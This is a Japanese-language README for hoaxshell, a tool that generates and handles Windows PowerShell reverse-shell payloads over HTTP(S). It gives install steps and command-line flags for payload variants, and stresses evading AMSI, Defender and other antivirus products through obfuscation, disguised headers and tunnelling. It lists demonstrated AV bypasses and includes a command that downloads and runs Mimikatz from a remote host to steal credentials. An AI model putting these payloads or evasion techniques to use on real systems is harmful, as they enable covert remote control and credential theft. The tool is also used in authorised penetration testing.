
Windowsリバースシェルペイロードのジェネレーター兼ハンドラー。http(s)プロトコルを悪用して、ビーコン型のリバースシェルを確立します。
⚠️ 2022-10-18 現在、hoaxshell は AMSI によって検出されます(マルウェア百科事典)。使用するには生成されたペイロードを難読化する必要があります。手動で難読化して MS Defender を回避する方法については、このビデオを参照してください:
hoaxshell は、http(s) プロトコルを悪用してビーコン型リバースシェルを確立する Windows リバースシェルペイロードジェネレーター兼ハンドラーで、以下のコンセプトに基づいています:

この C2 コンセプト(http 以外のプロトコルやプリインストールされた実行ファイルを使用して実装することも可能)は、シェルを操作しているかのような錯覚を与えるセッションを確立するために利用できますが、実際の pty とはほど遠いものです。
HoaxShell は AV ソフトウェアに対して良好な結果を示していました(詳細は AV バイパス PoC テーブル を参照)。現在は一般に検出されますが、自動化ツールや手動で生成されたペイロードを簡単に難読化できます。
免責事項: テストおよび教育目的のみで作成されています。このツールで生成したペイロードを、テストする明示的な許可と承認を得ていないホストに対して実行しないでください。このツールの使用によって生じたいかなるトラブルについても、あなた自身が責任を負います。
[2022-10-11] 最近の素晴らしい動画、作成者: John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] オリジナルリリースデモ、作成者: 私 -> youtube.com/watch?v=SEufgD5UxdU

他のスクリーンショットは こちら。
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
重要: 検出を回避する手段として、hoaxshell はスクリプトが起動されるたびに、セッション ID、URL パス、およびプロセスで使用されるカスタム HTTP ヘッダー名にランダムな値を自動生成します。生成されたペイロードは、それが生成されたインスタンスでのみ機能します。-g オプションを使用すると、この動作を回避してアクティブなセッションを再確立したり、過去に生成したペイロードを新しい hoaxshell インスタンスで再利用したりできます。
hoaxshell を実行すると、コピーしてターゲットに注入するための PowerShell ペイロードが生成されます。デフォルトでは、便宜上ペイロードは base64 エンコードされています。生のペイロードが必要な場合は、"rawpayload" プロンプトコマンドを実行するか、-r 引数を指定して hoaxshell を起動します。ペイロードがターゲット上で実行されると、それに対して PowerShell コマンドを実行できるようになります。
Invoke-Expression を利用するペイロード(デフォルト)sudo python3 hoaxshell.py -s <your_ip>
-x を使用して、ターゲットマシン上に作成する .ps1 ファイル名(絶対パス)を指定します。実行する前に生のペイロードを確認し、指定したパスが確実であることを確認してください。
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell は、シェルセッション情報を転送するために http ヘッダーを利用します。デフォルトでは、ヘッダーにはランダムな名前が付けられ、正規表現ベースの AV ルールによって検出される可能性があります。-H を使用して、標準またはカスタムの http ヘッダー名を指定すると、検出を回避できます。
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
この特定のペイロードは、PowerShell に SSL 証明書チェックをスキップするよう指示する追加のコードブロックで始まるため、ある種の危険信号であり、疑わしく、検出されやすく、長さも大幅に長くなります。推奨しません。
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>
ドメインを所有している場合、このオプションを使用して、-s にドメイン名を指定し、信頼された証明書(-c cert.pem -k privkey.pem)とともに指定することで、より短く、検出されにくい https ペイロードを生成できます。
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>
誤ってターミナルを閉じたり、停電が発生したりした場合などに、grab セッションモードで hoaxshell を起動すると、ペイロードがターゲットマシン上でまだ実行されている限り、セッションの再確立を試みます。
sudo python3 hoaxshell.py -s <your_ip> -g
重要: 復元しようとしているセッションと同じ設定(http/https、ポートなど)で hoaxshell を起動してください。
-cm(--constraint-mode)オプションを任意のペイロードバリエーションと一緒に使用すると、ターゲットが制約言語モードで PS を実行するように構成されている場合でも機能するペイロードを生成できます。このオプションを使用すると、リバースシェルの stdout デコード精度が少し犠牲になります。
sudo python3 hoaxshell.py -s <your_ip> -cm

トンネリングプログラム Ngrok または LocalTunnel を利用すると、静的 IP アドレスがない、ISP がポートフォワーディングを禁止しているなどの問題を回避して、安全なトンネル経由でセッションを取得できます。
Ngrok サーバーには -ng または --ngrok を使用します
sudo python3 hoaxshell.py -ng
LocalTunnel サーバーには -lt または --localtunnel を使用します
sudo python3 hoaxshell.py -lt
対話型セッションを開始するコマンドを実行すると、シェルがハングします。例:
# this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell
# In the same manner, you won't have a problem executing this:
> cmd /c dir /a
# But this will cause your hoaxshell to hang:
> cmd.exe
したがって、たとえば hoaxshell 経由で mimikatz を実行したい場合は、コマンドを呼び出す必要があります:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
要するに、hoaxshell の PowerShell コンテキスト内で対話型セッションを開始する exe や cmd を実行しないように注意する必要があります。
素晴らしい人々が、MS Defender 以外の AV ソリューションを実行しているシステムに対して hoaxshell のペイロードを実行し、検出されずに済んだ PoC ビデオを私に送ってくれたり公開してくれたりしました。以下はリンク付きの参照テーブルです:
重要: これらのソリューションをバイパスするために hoaxshell をまだ効果的に使用できるかどうかはわかりません。検出可能性がすぐに(いや、すでに)変わるだろうと考えるのが妥当です。
13/10/2022 - 制約言語モードサポート(-cm)オプションを追加。08/10/2022 - トンネリングツール ngrok または localtunnel を使用してセッションを取得するための PS ペイロードを生成する -ng および -lt オプションを追加。静的 IP アドレスやポートフォワーディングなどの制限を回避するため。06/09/2022 - Invoke-Expression を利用する代わりに、実行するコマンドをファイルに書き込む新しいペイロードを追加。これを使用するには、ユーザーは -x オプションを使用してターゲットマシン上の .ps1 ファイル名(絶対パス)を指定する必要があります。04/09/2022 - 簡単にフラグされる可能性のあるコンポーネントが含まれていたため、コマンド配信メカニズムを改善するための変更が行われました。https_payload_trusted.ps1 とともに -t オプションが追加されました。これで、信頼された証明書とともにドメイン名を指定して hoaxshell を使用できます。これにより、より短く、検出されにくい https ペイロードが生成されます。01/09/2022 - 攻撃プロセスで使用され、シェルのセッション ID を運ぶ(デフォルトではランダムな)ヘッダーにカスタム名を付けられるようにする -H オプションを追加。これにより、標準的なヘッダー名(例: "Authorization")を使用するなどして、攻撃の検出されにくさが向上します。| AV ソリューション | 日付 | PoC |
|---|
| SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 |
| Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 |
| Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop |
| McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 |
| Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk |
| Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k |
31/08/2022 - Invoke-WebRequest ユーティリティの代わりに Invoke-RestMethod を使用するように調整された PS ペイロードを生成する -i オプションを追加。これでユーザーは選択できるようになりました(この issue に感謝)。また、プロンプトに存在したバグ(パスを時々壊していた)も修正しました。